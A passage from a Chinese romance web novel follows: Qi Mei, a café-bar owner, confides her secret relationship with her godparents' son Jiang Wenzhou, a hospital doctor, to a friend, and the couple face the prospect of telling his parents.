她将东西放在腿上,用胳膊拢着,开始看手机。 前几天他们讨论下个季度的主推新品特调,田乐说想做茶酒,于是他们每天都在讨论茶酒的风味怎么才能平衡。 高丹宁茶和烈酒放到一起会让苦涩加倍,这时候要想办法中和这种苦涩,是加糖浆,还是遵循“要想甜加点盐”的做法给点盐溶液? 如果茶和酒碰撞到一起口感太闷、太单薄,或者太尖锐,该怎么调整? 什么茶和什么酒比较配?是将茶叶泡进酒里得到“茶酒”作为基酒,还是在调制过程中勾兑基酒和茶汤? 别看只是“茶酒”两个简简单单的字组合到一起,真的要做出来能入口的成品,也得经过多次试验。 不过最近她在吃药,品尝环节是用不上她了,顶多在手背上放一点,抿一下,粗粗尝尝,具体把控风味还得靠田乐和佟林。 他们在群里讨论热烈,一个说想试试伯爵红茶和杏子白兰地的搭配,另一个说已经用明前龙井泡了金酒,晚上就试试用来做马天尼看是什么味道,搞得齐眉还挺期待,真想马上就到晚上。 “你好,请问你几号啊?”耳边突然响起这么一句提问。 齐眉一愣,一面想着应该不是跟我说话,一面抬头往声源望去。 只见江问舟的诊室门口,站着一位年轻的女医生,工牌是白色的,说明身份是学生。 她正看着齐眉,认真又温和地问:“你是哪位医生的病人呀,大家都走得差不多了,你还没看上吗?” 齐眉这时才发现,刚开始还有不少人在等候的走廊上已经不剩几个人了,显得相当安静,而时间也已经来到了十二点四十。 难怪人家会这么问,齐眉连忙摇摇头,笑道:“我不是病人,我来等人的。” 话音刚落,江问舟就出现了,大概是听到她的声音,或者觉得奇怪,正一边擦手一边往门外探头。 “舟哥。”齐眉立刻叫他,笑嘻嘻地问,“你可以撤没有啊?” 一瞬间好像回到从前,她下班以后去等他一起吃饭,眼巴巴的,下一句就会是,我都快要饿死啦! “吃饭没有?”江问舟点点头,笑着问道。 齐眉也点点头:“我吃了才来的。” 江问舟看到她怀里和旁边的椅子上都放着东西,不由得叹气:“怎么拿这么多?” “一点点,不多。”齐眉笑眯眯地摇摇头,催他,“你快点,不然汤要凉了。” 江问舟忙扭头跟学生交代:“王同学,麻烦你锁一下门,再把钥匙拿到门诊的护理办公室,辛苦了。” 刚才问齐眉是不是病人的那位女医生,这时总算从惊讶中回过神,连忙应好。 齐眉把手机收起来,将东西递给伸手过来的江问舟,把包挂上肩膀,这才起身跟着他一起往住院部走。 “今天病人很多吗?” “一般,我觉得还可以,你看都还没到一点,是不是?” 齐眉一噎:“……你要非得这么说的话,那也确实是。” 可是……中午下班时间明明是十二点整啊喂! 江问舟被她这种想吐槽又非得忍着的纠结表情逗乐,一时忍俊不禁,干脆把东西都换到一边手,腾出手来揉揉她的后脑勺。 齐眉也不嫌弃他会把自己头发摸毛躁了,眨眨眼道:“我上午跟干妈视频了,跟她说金金是因为你今天要值班,没人照顾,所以送去我那儿玩的。” 好家伙,串供来了是吧? 江问舟有些哭笑不得:“知道了,我明天带它们回去吃饭,也这么说。” 齐眉一听就有些紧张:“……啊、你……你要回去吃饭啊?不、不等我后天下班一起回去吗?” 好害怕,万一他自己回去突然穿帮了怎么办? 齐眉想到这个最坏的结果,忍不住打了个哆嗦。 江问舟差点笑出声,抿着唇忍了一会儿才把这种冲动咽回去。 “……放心,不会有事的,反倒是你,总是紧张兮兮的,才更容易被看穿。” 齐眉抿抿唇:“……做坏事哪有不心虚的?” “那我直接跟爸妈说清楚算了,一了百了?”江问舟半是玩笑半是试探地道。 齐眉立马摇头:“不不不,再、再等等……再等等……” 她侧脸仰头看向江问舟,眼睛里的神色有些类似央求。 这双明亮的眼眸后面藏着一个小心翼翼又忧心忡忡的,胆小的小姑娘。 江问舟一瞬心软,又拍拍她的头,笑道:“不会的,放心吧,我们跟爸妈玩捉迷藏,看看他们什么时候会发现,怎么样?” 这种哄小孩的语气……齐眉扁扁嘴,嘟囔道:“我又不是小孩子。” 江问舟笑笑,见周围人渐渐多起来了,立刻停下话题不再继续。 回到住院部大概是中午一点,江问舟把点心交给秦一鸣,再把饭菜拿到休息室,然后问齐眉:“你在这儿跟大家聊聊天,还是去老师那边跟老师聊聊天?” 齐眉看着他眨眨眼,他就解释:“我去查个房。” “那你去吧,我在这儿跟陈医生他们聊聊天。”齐眉立刻答应道。 江问舟拍拍她后脑勺,还嘱咐了她一句别乱跑,这才匆匆出门去查房。 他一走,宋主任就调侃说:“这个小江,怎么管妹妹跟当爹似的。” 其他人听到都笑起来,说什么:“哎呀,长兄如父嘛,不要大惊小怪啦。” 齐眉听得脸上一热,又听陈妍开玩笑说:“可是我比较羡慕我们老大诶,有这么好的妹妹,长得漂亮,又会做好吃的,还这么贴心。” 她说完甚至还吸溜了一下:“真是让我羡慕坏了。” 齐眉脸上顿时更加滚烫,一阵火烧似的,幸好她口罩还没摘,不用红屁股示人。 应了两句客气话,大家的话题又朝别处发散,聊着聊着就说到了现在网络平台的消息推荐让人形成信息茧房的事,虽然齐眉也不知道大家的话怎么会到这里的,但还是听得津津有味。 “我感觉我手机好像真的监听我了。”陈妍道,“上个周末我们不是去妹妹店里喝酒了吗,这几天我就老是刷到跟调酒之类有关的消息,点进去看了几条笔记之后,完啦,推荐得更多了。” 这下大家的注意力立刻又变成:“啊?妹妹开的店是酒吧吗?你们上周说的组内聚餐就是去喝酒吗?早说啊,早说我也去,我可以是你们组的!” 还有人好奇齐眉的店在哪儿,问她那儿有没有无酒精饮料,齐眉怎么可能放过这个打广告的机会,立刻点点头。 “有的,有的,我们除了酒精和无酒精饮料,还有小吃,我们白天是咖啡店,所以如果你晚上想喝咖啡,我们也可以做的哦。” 那真是很贴心了,大家忍俊不禁,说大晚上的还喝咖啡,那得是多想不开。 江问舟查完房回来,已经差不多中午一点半,总算能吃上午饭了。 他站在门口冲齐眉喊了声:“西西,走了,去吃饭。” 齐眉回头诶了声,起身欢快地跟在他后面往休息室走。 “和大家聊得很高兴?”江问舟想到刚才看到的热闹场面,笑着问道。 齐眉点点头,眼睛弯起来,凑近他低声道:“大家都叫我妹妹,你说要是以后……啊?” 以后要是知道了他们的真实关系,那可怎么办啊! 江问舟嘴角一抽,伸手捏了一把她的脸,没好气道:“没关系,弟妹也是妹。” 齐眉:“……”一时也不知道谁更亏,他这岂不是要变成所有人的小师弟? ————— 齐眉下午三点半左右从一附院出来。 这次复诊因为是抱着调养的目的,而她又真的不爱喝汤药,所以为了让她能坚持下去,厉医生给她把药从汤剂换成了膏方。 “这种就贵一点了,因为熬制起来比较麻烦,可以接受的话,我给你开一瓶先吃吃看?” 齐眉只关心一点:“这膏方……它苦吗?” 厉医生笑笑,没有直接回答,而是说:“肯定没有汤剂那么苦。” “那就好。”齐眉忍不住松口气,说可以试试,又问,“要是吃了上火或者拉肚子了怎么办?” “所以我只给你开一瓶,大概是一周的量,吃完再过来看看,要是觉得吃了不舒服,我们再调一下方子。” 又因为膏方得排队现熬,所以齐眉的最快都要明*天才能拿到,所以缴费交完处方后,她就从医院出来了。 出来就直奔店里,到的时候还不到下午五点,任清葭正靠在吧台边上,端着保温杯正在喝水。 齐眉笑着同她打招呼,任清葭应了一声,问道:“今天怎么过来得这么早?” “下午去复诊,出来都差不多四点了,干脆早点过来。”齐眉笑着应道。 任清葭随口就问:“去哪儿复诊啊?” “容医大一附院,舟哥他们单位。”齐眉一面应,一面往更衣室走。 听到她提江问舟,任清葭的目光顿时不由得微微一闪,想到前两天中午吃饭的时候,店里的小丁偷偷问她的话。 “姐,咱们眉姐和那个……就是说是她哥的,其实是不是一对来的?” 她当时下意识地立刻否认:“当然不是,怎么可能,他们俩可是兄妹。” 小丁愣了一下:“……亲兄妹?” “那倒不是……”她应完心里忽然一突,忙问,“你怎么突然这么说,发现什么了?” 接着就听对方说起上次江问舟和齐眉陪郭教授和爱人到店里小坐,傍晚时他们送客出去,回来的时候手牵着手,看上去十分亲昵。 “就是那种……”小丁两只手掌一边包着另一边的握到一起,满脸神秘兮兮地吃瓜的兴奋,“这样拉着手诶,亲兄妹都不会这么牵的吧?又不是牵着小朋友。” 不是亲兄妹就更不可能了,不得避嫌吗?除非是男女朋友。 任清葭觉得当时自己的头像被敲了一下,有点懵,随后太阳穴也一阵突突猛跳。 反应过来后,她盯着小丁的眼睛,认真地道:“没有的事,你看错了。” 就差问他,记住了吗,你看错了。 小丁也不傻,听到她用强调的语气跟自己说这句话,立刻便点点头:“想想还真是,我是从门口看出去看到的,那个角度,加上被门挡了一下,还真很有可能。” 但那又怎么样,任清葭知道小丁一定是看到了,而且九成可能没看错:) 所以这事吧…… 齐眉进了更衣室,把包放下,拿着围裙出来,刚想问任清葭晚上要不要在这儿一起吃饭,就见她先冲自己勾了一下手指。 “走,上楼,咱们对一下第二季度的账。”任清葭道,顺手将保温杯盖好放下。 齐眉一愣:“啊?第二季度的账……二季度不是还有几天才结束么?” 而且不应该是下个月才对账? 任清葭笑眯眯地说:“先看看嘛,省得到时候折腾太久,反正你也没什么事。” “那……也行吧。”齐眉没想太多,跟着她就上楼了。 可是上了楼进了休息室,任清葭只给她拿了一瓶苏打水,让她晾一会儿再喝,却并没有拿出什么文件之类的东西,甚至连平板都没开。 齐眉觉得不对劲,问她:“不是说要……对账?” “是要对账,但不是对店里的账。”任清葭在沙发另一头坐下,鞋子脱了,伸脚轻踹她一下,“我是要跟你算账。” 齐眉眨眨眼,满脸疑惑和不解:“……啊?” “……你还装傻!”见她一脸茫然,任清葭简直气不打一处来,坐起身扑向她,“我问你,你和你哥……就是江医生,你们俩到底什么关系?” 齐眉呼吸一顿,心猛地往上一提,下意识往后一仰,靠在沙发上,胳膊环了起来。 “……他是我哥啊,你不是知道么。” “你骗人!”任清葭伸手要捏她的脸,气呼呼道,“枉我当你是好姐妹,什么都跟你说,你居然瞒着我这么大的秘密!” 齐眉心里怦怦直跳,任清葭先是提江问舟,追问他们的关系,又说她有秘密瞒着她,齐眉很难不往最重要的那件事上想。 她几乎是下意识地否认:“没有啊,我没有瞒你……” “你这个大骗子!”任清葭打断她的狡辩,“人家小丁都看到你们手牵手了,哦哟,你俩要是没点什么,干嘛那样啊,难道真像歌里唱的,牵牵手就像旅游?喂喂,人家亲兄妹都不会这样牵手呢。” 齐眉:“……”草,是一种植物:) 真是万万没想到,就那么一个小动作,而且她明明立刻就把江问舟的手甩开了,居然还是被看见了,真是没天理。 齐眉十分尴尬,目光游移躲闪,根本不敢看任清葭。 她浑身僵硬,冷汗直冒,同时又左右为难,不知道该不该跟任清葭说实话。 任清葭见她这么为难,哼了声道:“不说就不说,我迟早都会知道的。” 他俩难道还能憋一辈子?就算齐眉能,难道江问舟也能? 任清葭不信,感情到了一定程度,就算他们什么都不说,眼神和肢体动作也会替他们将他们的关系昭告天下。 齐眉一听这话,浑身顿时又是一僵,不得不承认,任清葭说的确实很有道理。 她和江问舟不可能、也没办法一直维持现状,那样的话,对谁都不公平。 那要不就…… 她咬着嘴唇,抬头看一眼任清葭,犹豫着道:“那、我告诉你,你别跟别人说,阳哥也不许说……” “成交!”任清葭不等她把话说完,一口答应,搂着她的肩膀跟她拍胸口保证,“我这个人别的优点可能没有,但口风紧一定是其中之一,出你口,进我耳,最后就烂我肚子里,我保证。” 齐眉努努嘴:“……你最好是。” 其实秘密只有烂在自己肚子里才是最安全的。 所以她也只告诉任清葭,她和江问舟曾经在一起,毕业时分开,最近又复合,至于为什么分开,当然是因为江问舟想跟家里坦白,但她不想,意见没办法统一,所以最后干脆分了。 任清葭听了直挠头:“虽然我能理解这种时候争吵起来很伤感情,但是因为这就分手……普通情侣我觉得很可能,可是你们……” 怎么感觉这理由听起来有点扯呢? 任清葭啧了声,问道:“我能问问你为什么不想跟家里说吗?你们谈到最后,要结婚,要长久在一起,肯定要告诉家里的吧?” 总不能一辈子都当秘密情人吧?这特么谁受得了。 “当时哪想得这么远。”齐眉苦笑,“还以为时间有很多,以后就会迎刃而解,结果时间过得那么快……” 她顿了顿,实话实说:“我不是不想讲,是不敢讲,我怕干爸干妈接受不了。” “清葭姐,你知道的,我从小就没了爸爸妈妈,我把干爸干妈当成亲爸妈的,他们也是把我当成亲女儿,所以我很怕他们知道我和舟哥在一起以后,会觉得我们是……” 她停在这里,喉咙一阵阵发紧,接连吞咽了好几下,才终于润好了喉咙,说出那个她一直以来避之唯恐不及,但又没办法真的不当回事的词。 “乱/伦。” “我最怕的就是这个。”她抬眼看向任清葭,“我怕他们会觉得我毁了江问舟,会觉得我是忘恩负义、贪心不足,会觉得我是要毁了这个家。” 比起这些,“情爱算什么呢?再好的感情,也许日后都会消失,他爱我的时候,可以和我一起对抗父母,对抗全世界的流言蜚语,但是如果……最坏的结果真的出现,他和干爸干妈的关系真的出现无法弥补的裂痕,他以后会不会怪我?都是为了我,才会变成这样……” 这也是齐眉不敢赌的原因之一,她当然爱江问舟,但是,“他说归根结底是我不信任他,这点我承认,我确实没有百分百信任他,不仅是他,我连我自己……这世上没有一个能让我百分百信任的人,永远不会有。” 这不是这个人好不好的问题,是她的本性如此。 她似乎天生就缺乏安全感,对周围的人和事有种与生俱来的警惕。 任清葭静静地看着她,听着她说的每一句话,一开始那种想看热闹想听故事的心情慢慢淡去,最后只剩下心疼。 她觉得自己好像看到了一只躲在角落里的小刺猬,虽然被人带了回家好好养着,疼它爱它,让它愿意露出肚皮来了,可一旦有点风吹草动,它还是按照本能蜷缩起来,张开浑身的刺,同时又瑟瑟发抖。 “你怎么和西西才见了一两次就那么投缘,能玩到一起去?”陆阳曾经好奇的这样问过她。 她当时说:“不知道啊,可能是眼缘或者气场吧,有的人就是合得来嘛,缘分。” 现在她终于知道是为什么了。 从本质上来说,她和齐眉是一样的人,看似拥有了很多东西,但只有自己才知道自己是从一无所有过来的,所以特别珍惜现在的一切,生怕丢失了一点。 任清葭伸手揽住齐眉的肩膀,将她搂进怀里,拍拍她的背。 “你没有做错,西西,你只是及时止损了。” 齐眉靠在她的怀里,抱着膝盖,平静地嗯了声:“所以我没有后悔过啊。” 她有点后悔的,是当时没有跟江问舟讲那件事,不然…… 不过她也不知道讲了又能怎么样。 好在都过去了,她想,现在都好了,就不要再去想。 “我跟你讲一个我的秘密吧。”任清葭笑道,说就当是交换了。 齐眉侧头看着她,目光好奇:“是什么?你说,我嘴巴也很紧的。” “你知道我是什么时候确定我可以嫁给陆阳的吗?”任清葭问道。 这个还真是不知道,齐眉和她认识的时候,她就已经和陆阳感情很好了。 她摇摇头,任清葭就说:“是突然有一天,我问了自己一个问题,如果有一天陆阳投资生意失败了,变得一无所有,我还愿不愿意和他过下去?” “我想我愿意,我可以陪他继续吃苦的。”任清葭声音慢悠悠的,继续道,“我接着又问自己,如果陆阳出轨了,在外面养了一个小的,但他没有说离婚,我会主动提离吗?要是最后他回归家庭,我还接受他吗?如果一直都这样,他也不回来,我还继续保持已有的生活条件,我能接受吗?这个问题我想了整整半个月。” 她冲齐眉翻手掌,最后有些无奈地道:“然后发现,我可以,只要他不开口说离婚,我就会一直当他的老婆。” 那个时候她就知道,她只能嫁给陆阳了。 齐眉听得十分震惊,她还是第一次从任清葭嘴里听到这样的话,实在是和她一贯以来树立的坚韧独立形象很不搭嘎。 “……原来你也是个恋爱脑吗?”她想了半天,憋出来这样一句。 随即又忿忿:“那你之前还笑话我!” 任清葭哈哈大笑,笑完了才说:“我倒觉得不是恋爱脑,我想过的,为什么我能接受陆阳这样?不只是因为爱,更因为他能给我一个家,其实我特别特别希望有自己的家,不是只有一间房子那种家,得有人。” 她从出生就开始寻找,长途跋涉许多年,才在陆阳这里看到了希望,所以会为了这个“家”,去接受可能出现的不愉快。 “而且这不是假设么,又不是真的。”她耸耸肩,“说不定真的到了那天,我又不愿意忍了呢?人都是会长大的啦,以后想法会变的,只是当下的我觉得可以忍受这种处境,所以坚定了嫁给他的信心而已。” 人和人之间的感情不就是这样?你觉得好奇怪啊,为什么可以这样,但当事人却觉得理所当然。 齐眉叹口气,点点头。 任清葭又问她:“那你们现在……你们是怎么复合的?” 齐眉顿了顿,尴尴尬尬地说起最近发生的事,说着说着就生气了:“他居然敢去相亲啊!气死我了,怎么这样啊他!” 简直不能原谅!!! 任清葭越听越想笑,揉着她的脸说:“你是什么品种的州官啊,好独裁,是只有你哥才有福气消受了。” 俩人这一聊,就聊到了天黑,从楼上下去之前,齐眉还再三叮嘱:“不许跟别人说啊,再想说都要忍着,忍到我和舟哥穿帮那天,知道吗?!” “知道了,知道了!”任清葭长叹,“真是服了你们这对老6,不知道逃避得越久,以后大人知道了,就越生气吗?真是的……” 齐眉捂住耳朵,就当没听见。 但也许是受到这事的影响,她当天晚上不到十一点就在店里坐不住了,跟田乐和佟林说了声家里有事,就着急忙慌地离开。 出了店门又直奔一附院,到了住院部楼下,才给江问舟打电话,问他现在有没有空。 江问舟倒是有空,但畏惧夜班之神,没有直接回答,而是问她有什么事。 齐眉听懂他的潜台词,干脆道:“我在你们住院部楼下,你下来一下,拿点东西。” 江问舟一愣:“……宵夜?” “嗯,是……”齐眉顿了顿,催他,“快点下来。” 江问舟挂了电话,笑着跟搭班的秦一鸣吐槽一句,说她也真是不嫌跑得累,接着便利索地走了。 秦一鸣:“……”不要以为我听不出来你是在炫耀:) 江问舟很快就到了楼下,在住院大楼外面背光的阴影处,看见提着袋子看自己脚尖的齐眉,走近之后刚喊了声西西,还没来得及问怎么又过来了,就被回过神的齐眉一把抱住了脖颈。 他一愣,连忙扶住她的背,问道:“怎么了?是不是碰到什么事了?” “…没事,就是想你了。”齐眉摇摇头,声音嗡嗡地应道。 江问舟啧的笑了一下,先是说:“是么,想我了啊?” 不等齐眉回答,他就捏着她的耳朵正色道:“我还不知道你?肯定是遇到什么事了,快老实说,不然打你屁股。” 第55章 第五十五章(二合一)是不是第一次有…… 住院部门口往左拐,和连廊连接处有一块被柱子遮挡住大部分灯光的地方,光线十分昏暗。 齐眉现在这样的光线里,仰起头,定定地望了半晌江问舟,接着突然嘿嘿傻笑了两声。 江问舟都被她笑傻了,愣愣地看着她,一时也想不起刚还让她老实交代是不是遇到什么事。 他有多久没见她这样笑过了呢?那样无忧无虑,毫无负担地笑容里透着傻气和娇憨,饱满的眼睛弯起来,看上去甜滋滋的。 “……到底怎么了?”他忍不住抬手摸摸她的脸,逗她,“捡金子了?” 出声了才发现自己的声音有多柔软,还有难以掩藏的笑意。 齐眉看着他,摇摇头:“就是想你了,爱信不信。” /:. “好吧。”江问舟笑笑,没有说自己现在最怕的就是她像以前那样,把事情藏得严严实实的自己消化,“所以是遇到了什么事,让你这么想我?” 想到大晚上都快半夜了,还火急火燎地跑来找他,这不像她的风格。 齐眉似乎终于回过神来,咬着嘴唇有些不好意思,嗫嚅了一下,才说:“跟清葭姐聊天了。” 江问舟嗯了声,伸手帮她理了一下耳边有些凌乱的碎发,随口问道:“然后呢?” “她知道我们的事了。”齐眉继续道。 “好……嗯?”江问舟刚应了一声,就猛然反应过来,“你说什么?知道我们的事,是什么意思,是我想的那样?” 齐眉点点头头,咬着嘴唇,神色认真:“就是那样,老师和师母去店里那天,我们送他们出去的时候,你手多的样子被店里的白班员工看到了,人家问清葭姐我们是什么关系,清葭姐就知道了,但是她今天才问我。” 她说完还是忍不住嗔怪地白他一眼,嘟囔道:“早就说了,你手这么多,这么不注意,肯定会被发现的……” 江问舟一阵惊讶:“怎么会……怎么这么巧?” 他顿了顿,有些担心地问:“她会不会告诉陆阳,又告诉你舅舅,接着就……” 陆近成知道了,会不会告诉孙茂芸和江眀琮?江问舟觉得这个答案几乎是肯定的。 想到这里,他不由得一阵愧疚:“抱歉,西西,我也没想到会……” 他确实是很想、非常想,也非常期待有一天,他能和齐眉光明正大地在日光下牵手拥抱和接吻,不用担忧任何人的目光。 可并不希望,这一天是以这样让人猝不及防的形式到来。 “没关系的!”齐眉突然打断他道,声音似乎有些急切,“哥……江问舟,没关系的!” 到了最后,听起来又十分认真,江问舟错愕地看着她脸上的笑,突然觉得没说完的话似乎黏在喉管壁上,哽得他喉咙生疼。 好半晌才把原来想说的话咽回去,唾液滋润了喉咙,这才能顺利发出声音:“……是、是么……怎么、怎么个没关系法啊?” 他发现自己的声音似乎有些颤抖,不知道是因为太紧绷,还是别的什么原因。 这个发现让他有些赧然,立刻抿唇用牙齿咬住下唇内侧,不轻不重地咬着。 齐眉仰头迎上他有些期待的目光,有些不好意思起来,沉吟一下才说:“就是我发现……刚开始被清葭姐问的时候,我是说我们没什么来着,她说我是大骗子,后来我承认了,她也没有说什么,还跟我聊了她和阳哥的事,我跟她说我是怕干爸干妈不同意,她说她能理解,我后来想想就觉得……” 她顿了顿,看向江问舟的眼睛忽然弯起来,脸上笑意灿灿:“原来让别人知道这件事也没什么,说出来以后我还觉得松了口气,虽然是后知后觉,但我是真的觉得高兴。” 齐眉觉得自己似乎有些表述不清,她觉得好像没办法用很准确的语言将这种心情描述清楚。 晚上和任清葭聊完下楼,正好陆阳也在,几人聊了几句,任清葭和陆阳就要回去了。 临走,任清葭拍拍她肩膀,语气有些语重心长似的:“加油呀,西西同学。” 陆阳以为她是在说晚上营业的事,立刻问是不是遇到了什么问题,需不需要帮忙。 任清葭一面说下个季度新品的事用不着你,一面推着他往门外走,嘻嘻哈哈地问他今晚要不去吃火锅吧。 后来一整晚,齐眉在做单子的时候都在想任清葭的这个反应,和那一句“加油”,忽然间就有些明白过来。 “其实大家都有自己的生活,没什么空去关注别人的,顶多就是刚知道的时候议论几天,是不是?” 她仰着头,认真的看向江问舟,想要寻求他的认同。 她确实有些语无伦次,但没关系,江问舟确信自己听懂了她的意思。 听懂之后便是瞬间爆发的狂喜,他看着齐眉,喉结上上下下地滑动了好几次,才从齿缝间挤出来一句:“……你现在才知道啊?” 这个道理他早就知道了,早到他们还没在一起时,室友点醒他的那句:“你说那是妹妹,可她是你亲妹妹吗?” 那时候老师和同事们都知道他们的关系,也知道他的母亲是齐眉的干妈,他们从小就认识,那又怎么样呢,他们都只是最初时惊讶一下,调侃他们几句,之后便一切如常。 这些齐眉都知道的,只是她从前很爱钻牛角尖,忽略这些。 可喜可贺,这人现在总算是从牛角尖里钻出来了。 受制于场合,江问舟努力压抑着自己内心激动的喜悦,张开双臂问她:“介意白大褂细菌多吗,西西?” 声音被刻意压得有些低沉,似乎多了几分厚重,在念出她名字时,又分明浮现一丝上扬的缱绻。 齐眉觉得耳朵热了一下,咬着嘴唇直接扑进他的怀里,用他的脖子擦走眨眼时沁出的那一点泪花。 江问舟察觉自己的颈窝似乎有些湿,还有点轻微的凉意,立刻收紧手臂紧紧抱住她。 还谨慎地往柱子遮挡处的阴影里挪了挪。 然后低头颤抖着亲在齐眉的头顶,发出一声松口气似的轻叹:“真心为我们好的人,最终都会理解和接受我们的感情,西西,我们的关系从来就不是不容于世,所以你不用太担心。” 所以他之前才这么自信他可以说服干爸干妈么?齐眉觉得自己好像能理解一点他的想法了。 可是当江问舟试探她:“那我们……挑个时间和爸妈说清楚?” 齐眉却又摇头了,嗫嚅着道:“我、我还是害怕……再等等吧要不?再等等……” 慌得哟,江问舟差点以为自己是要拉她上战场,一时忍不住哭笑不得。 “行吧,我们慢慢透口风。”他安抚地拍拍她的背,将她松开。 齐眉抬起头,看了他一会儿,还是决定问一句:“你会失望吗?” 江问舟失笑,迅速摇了一下头:“不,这次不,因为你已经比以前进步了很多。” 他看到了她的回应,“你还记不记得,以前我们去一个景区爬山,半路碰到丛林穿越的娱乐项目,那个被钢索吊着的轮胎摇摇晃晃,你一开始怎么都不敢往前走,做了半天心理建设才往前走了一个,虽然最后也没有走完全程,但能迈开腿就已经很棒了,因为你知道原来在摇晃的轮胎上要抬起腿往前走是这样的感觉,下次再掌握好一点平衡,就可以通关了,对吧?” 这个比喻句还真是长啊,齐眉听着听着就笑起来,笑着笑着又忍不住眼睛一湿。 “对,就是这样。”她使劲点头,“我、我……我下次肯定可以的,保证不让你连做鸭都不如!” 江问舟:“……”你从哪儿学来的破坏气氛小技巧:) 内心汹涌复杂的情绪,喜悦也好,欣慰也罢,在这一刻都变成了无语。 一句随口说说的话让她记这么久哈。 江问舟沉默片刻,才深吸口气开口:“你下次再说这话我就……” “不准说打我屁股这种让人心黄黄的话!”齐眉立刻大声打断他,随后嘟囔,“明明是你自己亲口说过的话,又不认……” 江问舟这下更无语了,想说什么,又不知道怎么说,最后干脆咬牙切齿地抬手用力戳了一下她的脑门。 然后一把夺过挂在她胳膊上的袋子,一巴掌拍在她后腰上,没好气道:“赶紧回去睡觉。” 齐眉背着手笑嘻嘻地转身,两步一回头,见他还在原地看着自己,便朝他挥挥手:“你也赶快回去,来病人啦!” 江问舟:“……”果然还是同行知道怎么扎心最痛哈! 他没好气地转身,头也不回地走了。 都是背对背各自朝前走,一个回家,一个重返工作岗位,可这一次,江问舟很确定,他们的心在朝着同一个方向走。 这真是一个巨大的惊喜,让原本普通的值班夜晚变得意义非凡。 江问舟觉得自己的心情十分激动,以至于在走出电梯之前,他要刻意深呼吸好几次,才能像平时那样平静地走出电梯门,还要压着步伐,才没有因为过于高兴而蹦跶起来。 他遵循世间大部分的主流价值观或客观规律,三十多岁了,该稳重该理智,表现出这个年龄段大人该有的样子,唯有在关于齐眉的事上冒天下之大不韪。 说他们不好不合适的,一律打成吃不着葡萄说葡萄酸哈,哼哼。 江问舟心里嘟嘟囔囔,以为自己已经掩饰得很好,结果刚进办公室,蔡朝就看着他问:“老大怎么那么高兴?” “……这么明显?”江问舟一愣,神情明显错愕。 蔡朝哈地笑了一下,说:“那可不要太明显。” 不高兴能笑成这样?而且,“你眼睛怎么还红了?” 江问舟神情一顿,有些不好意思,尴尬道:“……沙子进眼了。” 蔡朝就是神经再大条,也能听出来他这是托词。 但会这么说,就说明他不想告诉他们实情,于是蔡朝哦了声,没有再深问。 好在江问舟很快就换了话题,问大家吃不吃宵夜,休息室有护长今天才买回来的泡面,他这儿还有蛋糕。 ——齐眉给他带的,店里的山楂味的蛋糕,口感酸甜,一点都不腻。 蛋糕分了也就一人一小块,尝个味道而已,蔡朝有些意犹未尽地道:“怎么上次我们去的时候,没看到有这款?” 什么抹茶慕斯芒果千层倒是有,但没看到山楂的。 “可能那天正好没有,这也要看白天有什么。”江问舟解释道,说话时眼角露出的笑意分外柔和。 蔡朝确实感觉到了一点不对劲,但具体怎么不对劲,又说不上来。 第二天一早,同事来接班后江问舟就马上下班了,说还有事要回父母那儿。 也是幸好跑得快,人刚进家门,还没来得及问金金和年年吃饭没有,就看到科室群里发的消息。 接班同事:【挖了个大槽[无语]怎么你们刚走,就来一个主动脉夹层的啊@江问舟@秦一鸣你们回来好吗[落泪]】 秦一鸣:【人走运起来就是这么爽的[抠鼻]】 江问舟失笑,回了一句辛苦,就放下手机戴上手套给家里的活祖宗铲屎去。 有金金陪着,现在齐眉去上班的时候,年年已经不怎么送去宠物店,只有她的上班时间和江问舟的值班日恰好重叠,晚上家里没人时,才会把年年送过去。 问就是这狗确实得遛,一整天没遛过的话它包拆家的。 打扫完家里的卫生,江问舟随便吃了点早餐垫垫肚子,然后收拾它们俩的东西,招呼它们:“走了,回奶奶家过周末了。” 两个家伙便争先恐后地出门,在电梯门前一左一右蹲好,回头眼巴巴地看着他。 江问舟看着它们俩忽然想,要是以后家里再有一个小的,他们仨出门的时候也这样…… 电梯门口都得大堵车,吓人:) 回到家已经过了中午十一点,孙茂芸和小猫小狗玩到一起去之后,江问舟看桌上有龙眼,刚提了一串过来,还没开始吃,就听江眀琮忽然叫了声他的名字。 然后问道:“怎么最近几天我给你打视频电话,你都不接啊?” ————— 最近几天江眀琮前后给江问舟打过两次视频电话,都被他给摁掉了,问就是说在做其他事,暂时不方便视频。 但真实原因无非就是江眀琮都是在晚上打电话过来,那会儿他就在家,准确地说,是在齐眉家。 要是他接了视频,江眀琮一看就会知道,他这么晚了还在齐眉那儿,哦,还是家居服,留宿是吧?什么原因留宿啊? 到时候怎么解释都是撒谎,每说一个谎都像搓了一个炸弹,大小不一,分开当然是威力不一,但它们迟早会交汇融合,变成一个大炸弹。 江问舟心下叹气,回答江眀琮道:“在忙论文,随时要跟同事沟通数据,哪有空视什么频。” 江眀琮眉头一挑,抖了抖手里的报纸,哦了声,接着问:“怎么今天你把年年也带回来了,西西没上班?” “我有她家门口密码,自己进去的。”江问舟淡定地应道,吃了颗龙眼,扭头问两小只拿了冰块在玩的孙茂芸,“妈,龙眼是去街上买的,还是在村里买的?” “我们左边的左边那家邻居送的。”孙茂芸笑着解释道,“其实他们家也是有事想找你帮忙,他家老人上个月确诊的心脏问题,开了药回来,但是老人不按时吃,总觉得是药三分毒,孩子怎么劝都不听。” 说到这里她叹口气,江问舟就接着她的话说:“他们是希望找个懂的人吓唬吓唬老人家,让他老实吃药?” 孙茂芸说差不多是这个意思吧,但是又不想去医院挤,所以一大早就上门来找孙茂芸,希望她能让她儿子帮帮忙,劝一下老人家。 “我跟他们说你昨天值班,今早才下班,要不晚上我帮他们问问,但不保证能帮得上忙,没想到这中午你就回来了。” 孙茂芸笑眯眯地问他:“晚上回不回去啊?” 江问舟摇摇头,她就说:“那我跟西西说,让她明天下班直接回家来吃饭。” “这样吧,我去接她。”江问舟像是想了想,道,“再顺便给你和爸拿两罐蛋白粉回来,上次的吃着还行吧?” “还行,不过挺贵的吧,别浪费钱了,我看人家都说是很老的人,或者手术了生病了,吃不下饭,吸收不好才吃的,我和你爸好着呢,还用不着吃。” 她边说边笑,脸上的皱纹都是舒展的,看得出来她高兴。 不过退休以后她就顾着家里这一亩三分地,也确实是真的没什么需要忧虑操心的事,但是…… 江问舟忽然有些愧疚。 “没有的事。”他按下心里有些复杂的情绪,笑道,“明明是谁都能吃,不怎么喜欢吃肉的都可以,我有同事也吃的,再说你和爸都这个岁数了,吃肉多了不好消化,这不正好能补充点蛋白质么。” 至于说价格贵,“再贵能贵得过病了去医院打针吃药住院的费用?光是请一个护工,一天都要几百块,就够给你们买两罐这玩意儿了。” 